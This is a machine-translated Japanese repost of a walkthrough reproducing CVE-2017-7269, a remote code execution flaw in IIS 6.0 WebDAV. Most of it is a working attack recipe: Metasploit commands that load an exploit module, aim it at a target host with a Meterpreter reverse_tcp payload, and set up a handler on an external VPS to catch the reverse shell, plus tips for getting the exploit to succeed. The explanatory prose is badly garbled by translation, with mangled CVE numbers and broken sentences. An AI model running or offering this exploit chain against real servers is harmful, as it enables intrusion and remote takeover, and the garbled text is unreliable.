IIS6、リモートでコードが実行される脆弱性の再現CVE-2017から7269

ブリーフ

CVE-2017-7269は、6.0が原因URLの長さの、I​​IS6.0 PROPFINDコマンド処理では、スタックオーバーフローに存在するIISのmemcpy、その結果、長さ制御、検査有効でないとき、仮想パス構成行います、リモートコード実行の原因になりかねない、スタックオーバーフローの脆弱性を引き起こします。

テスト環境

  • 感染したシステム:Windows Server 2003で
  • 攻撃システム:カーリー2018.04
  • リバウンドホスト:Ubuntuの18.04 LTS

CVE-2017-7269の脆弱性原理

もしフィールドが含まれている場合:悪意のあるによって引き起こされるPROPFIND要求のhttp:// localhost /をxxxxはこの長いURL、(オーバーフローなどのヒープとスタックオーバーフロー)バッファオーバーフロー

特定の位置にw3wp.exe、httpext ScStoragePathFromUrlにおける機能モジュール。

  • メモリヒープオーバーフローをコピーするときに生成0x360でhttpext!ScStoragePathFromUrl +
  • 0x0000013c分布httpext HrCheckIfHeader +でスタックにこぼれた!;
  • !クラッシュの場所は、機能httpext HrCheckIfHeader以上から実行されます。

Metasploit5使用EXP

Metasploitのロードカスタムモジュール

ロードカスタムモジュールの方法

1、  在home目录里的【$HOME/.msf4/modules/exploits/】里就是自定义的模块
2、  复制自定义模块到这个目录里调用,使用msf的reload_all就可以重新加载模块路径

オンラインEXPをロード

# 创建EXP的路径
mkdir -p $HOME/.msf4/modules/exploits/test
# 示例模块加载
curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb


# 加载在线模块
todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1140    0  1140    0     0   3607      0 --:--:-- --:--:-- --:--:--  7808

ローカルロードされたEXP

mkdir -p $HOME/.msf4/modules/exploits/test
cp cve-2017-7269.rb ~/.msf4/modules/exploits/test/test_module.rb

コマンドを使用してMetasploitの - CVE-2017から7269

# 示例用法
reload_all                        # 加载自定义模块
use exploit/test/test_module.rb   # 使用刚才加载模块的路径
show optins                       # 显示当前配置的选项
set RHOST <远程攻击IP>            # 远程攻击IP
set HttpHost <网站域名>           # 远程网站
set PhysicalPathLength <长度>     # 设置网站物理路径长度
set payload windows/meterpreter/reverse_tcp # 设置payload
set LHOST <监听IP>                # 监听IP
exploit                           # 漏洞测试 

# 使用
reload_all
use exploit/test/test_module.rb
show options
set RHOST 192.168.221.147
set HttpHost 192.168.221.147
set PhysicalPathLength 8
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.221.133
exploit

SHELLリバウンドMetasploitの

実際のプロセスは、VPS外部ネットワークへのリバウンドのUbuntu VPS上Metasploitのをインストールします。

# 下载和安装metasploit
Curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

# 示例说明
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit

# 使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 103.85.24.14
set LPORT 4444
exploit

現在のシェル[背景]コマンドを使用して、バックグラウンドで実行meterpreterのMetasploitの。そして、その上に[セッション]を呼び出します。

Windows Server 2003で本当の問題

  • 質問1:ローカルサイトの経路の長さを適切に充填する必要がある、またはバッファオーバーフローの脆弱性を誘発しません。実施例8のための図路長:

  • 質問2:2つのURLのヘッダー情報が必要とされ、サイトが一致するようにバインドされている場合はPOCは、結合ドメインとポートの内側に一貫性のない頭であれば、失敗します。
  • 質問3:書き込みに必要の結合ドメインのIIS
  • 質問4:各プールがあるので、次のアプリケーションプールを持つ複数のサイトの場合、1つのサイトの時々実行の経験、以下のすべてのサイトの同じアプリケーションプールにつながるすべてのリターン500、この状況は駅の隣に見つけることができます独立したのw3wpプロセス、他のプールで可能な試みのために。

参考記事

[1] MSFモジュールについて説明
https://www.offensive-security.com/metasploit-unleashed/modules-and-locations/
[2] MSF命令
https://github.com/rapid7/metasploit-framework/wiki
[ 3] CVE-2017から7269
https://github.com/zcgonvh/cve-2017-7269
[4] IIS6.0リモートでコードが実行される脆弱性生殖(CVE-2017から7269)
https://blog.csdn.net / darkhq / Articleこの記事は、/詳細/ 79127820だった
[5]右CVE-2017から7269 IIS6_WebDAVリモートでコードが実行を開く
https://anquan.baidu.com/article/391
[6] https://www.ivoidwarranties.tech/投稿/ pentesting-tuts / Metasploitの/シンプル・アタック/
[7] https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework
[8]いくつかの技術のCVE-2017から7269とBUG補正
https://www.secpulse.com/archives/57264.html

おすすめ

転載: www.cnblogs.com/17bdw/p/11874484.html